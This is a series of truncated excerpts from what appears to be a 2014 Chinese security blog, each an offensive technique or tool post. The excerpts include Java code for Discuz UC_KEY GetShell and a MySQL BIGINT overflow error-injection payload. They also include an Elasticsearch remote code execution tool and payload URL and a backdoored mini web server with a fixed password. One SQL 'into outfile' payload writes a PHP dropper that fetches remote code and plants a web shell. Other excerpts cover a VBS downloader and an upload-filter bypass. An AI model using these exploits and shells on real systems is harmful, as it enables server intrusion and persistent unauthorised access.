2014-07-04 17:42:24

java 实现Discuz UC_KEY GetShell

Discuz自身提供了一个函数_authcode,实现了自身的Encode和Decode。这里写了一段代码,基本翻译了Discuz的Encode部分。代码没什么难点,麻烦的是如果你用Java去实现Encode会发现里面有许多的坑。我写了俩php的函数microtime();和time();的实现。用Map替换了PHP的range函数,其次需要注意的是php的chr,chr返回的是Java里的byte(在这里被坑了好久...)。 附了一个忽略SSL安全证书验证的工具类,Base64用了apache的commons-codec-1.5.jar,IO操作用了apache的commons-io-2.2.jar。 DZ.java: import java.io.ByteArrayOutputStream; import java.io.UnsupportedEncodingException; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import java.util.ArrayList; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import org.apache

2014-06-25 23:35:23

[f4ck-Mramydnei]新型Mysql报错注入

from:https://rdot.org/forum/showthread.php?t=3167、http://sb.f4ck.org/thread-19159-1-1.html 原文是俄文,不好做翻译,附上大概的内容: 这种报错注入主要基于Mysql数据类型溢出 mysql > SELECT 18446744073709551610 * 2 ; ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)' mysql > SELECT - 1 * 9223372036854775808 ; ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(- (1) * 9223372036854775808)' 查询数据库版本: mysql> SELECT * 2 (if ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610, 18446744073709551610)); ERROR 1690 (22003): BIGINT U

2014-06-24 18:52:18

shodanhq.js

登陆状态下,切换到chrome控制台: var url = "http://www.shodanhq.com/search?q=关键字&page="; for(var i=1;i<101;i++){ var request = null; if (window.ActiveXObject) { request = new ActiveXObject("Microsoft.XMLHTTP"); }else { request = new XMLHttpRequest(); } request.open("GET",url+i, false); request.setRequestHeader('If-Modified-Since', '0'); request.send(null); var str = request.responseText; str = str.replace(/\r/g,""); str = str.replace(/\n/g,""); var urls = []; str.repl

2014-06-16 01:58:32

vbs文件下载小脚本

linux很方便可以直接wget,windows用vbs下载挺方便的。随便在网上找了个小脚本改了下就ok了。 命令行下执行参数url:cscript 1.vbs /url:http://www.baidu.com/img/bdlogo.gif '执行后下载到当前目录:cscript 1.vbs /url:http://www.baidu.com/img/bdlogo.gif Set xPost = CreateObject("Microsoft.XMLHTTP") Set sGet = CreateObject("ADODB.Stream") Sub DownloadToFile(url, file) xPost.Open "GET", url, False xPost.Send sGet.Type = 1 sGet.Open sGet.Write xPost.responseBody sGet.SaveToFile file, 2 sGet.Close End Sub dim url url = WScript.Arguments.Named.Item("url") dim fileName fileName = Right(url, Len(url) - InS

2014-05-27 12:19:20

JavaFilter Filter“绕过”问题

一般人喜欢用: request.getRequestURI(); 然后再判断这个URI是否合法,其实这个写法存在弊端。很简单当请求/upload/index.jsp,由于默认的web.xml默认一般指定了index.jsp为索引文件。所以访问/upload/一样可以访问到这个jsp。只有可以绕过通过Filter拦截upload目录下的所有.jsp访问。上传shell的时候可以试试把文件名改成:index.jsp 正确的写法应该是: request.getServletPath() getServletPath()获取到的路径会是一个完整的Servlet路径,所以自然就无法绕过了。

2014-05-26 10:06:54

acat.jar 迷你WebServer自带菜刀java版

下载:ACat-jdk1.5.jar、ACat-附数据库驱动-jdk1.5.jar、 ACat-jdk.1.7.jar、ACat-附数据库驱动.jar 源码:ACat-src.zip 描述: 这是一个用java实现的非常小(18kb)的webServer。之前在drops发了一个简单的demo:http://drops.wooyun.org/papers/869。这个也非常简单,只实现了几个servlet的api,不过已实现了后门相关的其他功能。启动成功后会开启9527端口,然后访问:http://xxx.com:9527/api.jsp,密码:023。 停止服务:http://xxx.com:9527/api.jsp?action=stop 密码和端口配置在jar里面的server.properties: 运行方式:java -jar ACat.jar或者在jsp里面调用。 执行命令: 加载驱动后可以连接数据库: 如果需要连接数据库需要下载:ACat-附数据库驱动.jar,或者自行添加相关jar。

2014-05-22 21:11:24

[更新]Elasticsearch 代码执行漏洞利用工具

更新地址:Elasticsearch_1.2.jar 命令参数忘记编码了,导致不能执行多参数已修复了。修改了超时为10秒、异常情况直接输出页面源码。 1、ElasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。 2、Lucene是apache软件基金会4 jakarta项目组的一个子项目,是一个开放源代码的全文检索引擎工具包 这个漏洞如果被利用可直接在服务器端执行任意的java代码,ElasticSearch基本都部署在大型集群环境中危害非常的大。 查看状态:http://xxxx:9200/_status 集群健康报告:http://xxxx:9200/_cluster/health 集群节点信息:http://xxxx:9200/_nodes 下载地址:Elasticsearch_fat.jar 相关:http://bouk.co/blog/elasticsearch-rce/、http://wooyun.org/bugs/wooyun-2014-061672 家里交不起网费了,如果工具有bug利用下面的代码就没什么问题了。 利用代码: http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filt

2014-05-22 15:27:55

php shell

sql: select '<?php file_put_contents(dirname(__FILE__)."/".$_GET[\'file\'], file_get_contents($_GET[\'url\']));?>' into outfile'/var/www/html/xxx/data/conf_ads.php' GET: http://www.XXX.com.cn/data/conf_ads.php?file=admin3.php&url=http://javaweb.org/1.txt 1.txt: <?php echo "<form action=\"\" method=\"post\" id=\"fm\">"; function getFile($path,$charset) { header("Content-Type:text/html;charset=".$charset); if (is_dir($path)) { $dir = opendir ( $path );

2014-05-20 12:31:11

java.io.File.renameTo文件系统问题

java.io.File中的renameTo方法尽量少用,因为可能会出现文件系统不一致问题导致文件移动失败。具体可能出现的问题包括:1、NTFS、FAT32 分区格式问题。2、文件分隔符问题\\和/。3、rename的文件存在。 public boolean renameTo(File dest) { SecurityManager security = System.getSecurityManager(); if (security != null) { security.checkWrite(path); security.checkWrite(dest.path); } if (dest == null) { throw new NullPointerException(); } if (this.isInvalid() || dest.isInvalid()) { return false; } return fs.rename(this, dest); } 具体的实现在你当前对应的文件系统,最终调用了本地的rename0方法: public

2014-05-09 10:51:27

dom4j xml 格式化解析实体注入

解析代码: import java.io.StringReader; import java.io.StringWriter; import org.dom4j.Document; import org.dom4j.io.OutputFormat; import org.dom4j.io.SAXReader; import org.dom4j.io.XMLWriter; public class XmlFormat { public static String format(String str) throws Exception { SAXReader reader = new SAXReader(); // System.out.println(reader); // 注释:创建一个串的字符输入流 StringReader in = new StringReader(str); Document doc = reader.read(in); // System.out.println(doc.getRootElement()); // 注释:创建输出格式 OutputFormat formater = OutputFormat.createPrettyPrint(); //formater=OutputFormat.createCompac